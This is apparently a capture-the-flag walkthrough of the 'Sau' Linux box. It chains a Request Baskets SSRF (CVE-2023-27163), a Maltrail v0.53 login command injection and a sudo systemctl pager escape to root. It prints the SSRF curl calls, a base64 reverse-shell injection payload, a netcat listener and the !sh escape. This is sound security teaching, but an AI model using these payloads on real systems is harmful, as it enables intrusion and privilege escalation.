Introduction
Sau is an easy Linux box, and it is a very clean example of chaining three small, well-scoped bugs into root. Nothing here needs a custom exploit or memory corruption; each stage is “known software at a known vulnerable version”.
The chain: the only web app we can reach is Request Baskets 1.2.1, which has an SSRF (CVE-2023-27163). We use that SSRF to punch through the firewall and reach a port that nmap reported as filtered. Behind that port sits Maltrail v0.53, which has a trivial unauthenticated command injection in its login page, giving us a shell as puma. Finally, puma is allowed to run systemctl status under sudo, and because systemctl pipes long output through the less pager, we drop into a root shell with a single !sh.
It is a great box for one specific habit: a filtered port is not a closed door, it is an invitation to find something on the box that can reach it for you.
Enumeration
Service Discovery
sudo nmap <target_ip> -p- --min-rate 3000 -T4 -oN scans/all-ports.nmap
# then a scripted scan on what came back
sudo nmap <target_ip> -p 22,80,8338,55555 -sC -sV -oN scans/service-scan.nmapPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp filtered http
8338/tcp filtered unknown
55555/tcp open http Golang net/http server
|_http-title: Request Baskets
|_Requested resource was /webThis scan result is the whole box in miniature:
- 22 is SSH, no way in yet.
- 80 and 8338 are
filtered, meaning a firewall is dropping our packets. Something is almost certainly listening there, we just cannot reach it from outside. - 55555 is an HTTP service titled Request Baskets, redirecting to
/web.
So the plan writes itself: if I can find an SSRF in the thing on 55555, I can use the server itself to talk to the filtered ports 80 and 8338.
Fingerprinting Request Baskets
Browsing to http://<target_ip>:55555/web shows the app footer:
Powered by request-baskets | Version: 1.2.1Request Baskets is a tool for collecting and inspecting HTTP requests, and it has a forwarding feature: a basket can forward incoming requests to another URL. Version 1.2.1 is vulnerable to CVE-2023-27163 (advisory GHSA-58g2-vgpg-335q): the forward/proxy feature can be pointed at internal addresses, turning the server into an SSRF proxy.
Foothold
SSRF through a forwarding basket (CVE-2023-27163)
The abuse is straightforward once you see the forwarding options. I created a basket and configured it to forward to the internal service on port 80, with the proxy options that make it return the response back to me.
Via the web UI: create a basket (I named it test), open its Settings, and set:
| Setting | Value |
|---|---|
| Forward URL | http://127.0.0.1:80 |
| Proxy Response | ✅ enabled |
| Expand forward path | ✅ enabled |
The same thing over the API looks like this:
# 1) create the basket, capture its token
curl -s -X POST http://<target_ip>:55555/api/baskets/test | jq -r .token
# 2) point it at the internal service with proxying on
curl -s -X PUT http://<target_ip>:55555/api/baskets/test \
-H "Authorization: <token>" -H "Content-Type: application/json" \
-d '{"forward_url":"http://127.0.0.1:80/","proxy_response":true,"insecure_tls":false,"expand_path":true,"capacity":250}'Proxy Response makes the server hand us the internal reply, and Expand forward path lets paths under the basket map onto the target (so /test/login becomes /login internally). Now visiting the basket serves whatever is on the filtered port 80:
curl http://<target_ip>:55555/testThe filtered port is no longer a problem: the internal site loads, and its footer reads Powered by Maltrail (v0.53).
Maltrail v0.53 unauthenticated RCE
Maltrail v0.53 has a well-known unauthenticated OS command injection: the login endpoint does not sanitise the username field, so a payload there is executed by the server. There is a ready PoC by spookier.
I started a listener, then ran the exploit against the basket URL so the injection is proxied to the internal Maltrail through our SSRF.
# listener
nc -lvnp <listener_port>
# exploit: LHOST LPORT <basket URL that proxies to internal Maltrail>
python3 exploit.py <attacker_ip> <listener_port> http://<target_ip>:55555/test
Running exploit on http://<target_ip>:55555/test/loginUnder the hood the exploit just posts a command-injection payload to /login:
username=;`echo <base64 reverse shell> | base64 -d | bash`The listener catches a shell as puma. That is the user flag.
puma@sau:/opt/maltrail$ id
uid=1001(puma) gid=1001(puma) groups=1001(puma)Privilege Escalation — sudo systemctl + less pager
First thing on any shell: sudo -l.
puma@sau:/opt/maltrail$ sudo -l
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.servicepuma can run systemctl status as root with no password. On its own that looks harmless, but systemctl status sends its output through a pager (less) when the output is longer than the terminal. And less, per GTFOBins, lets you spawn a shell from inside it. Because systemctl was launched by sudo as root, that shell is a root shell.
sudo /usr/bin/systemctl status trail.serviceOnce the pager opens (if it does not, shrink the terminal so the output overflows and paging kicks in), type:
!shAnd we are root.
# whoami
root
# cat /root/root.txtMachine rooted.
Attack Chain Recap
nmap -> 55555 Request Baskets 1.2.1 ; 80 + 8338 filtered
CVE-2023-27163 (SSRF) -> basket forwards to http://127.0.0.1:80 (proxy_response + expand_path)
reach internal port 80 -> Maltrail v0.53
Maltrail login command injection -> reverse shell as puma
sudo -l -> systemctl status trail.service (NOPASSWD)
systemctl -> less pager -> !sh -> rootKey takeaways
filteredmeans “reach it from the inside”. The entire foothold existed only to get packets to a port the firewall was blocking. When you seefiltered, start looking for an SSRF/proxy/redirect on a port you can reach.- Version strings are the exploit. Request Baskets
1.2.1and Maltrailv0.53both map straight to public CVEs. Reading the footer was faster than any fuzzing. - Chain the SSRF into the next exploit, do not stop at “I can see it”. Pointing the Maltrail exploit at the basket URL, rather than trying to hit port 80 directly, is what actually delivered the shell.
sudoon anything that pages issudoon a shell.systemctl,less,more,man,journalctl: if it can open a pager as root,!shis game over. Always check GTFOBins for the exact binary.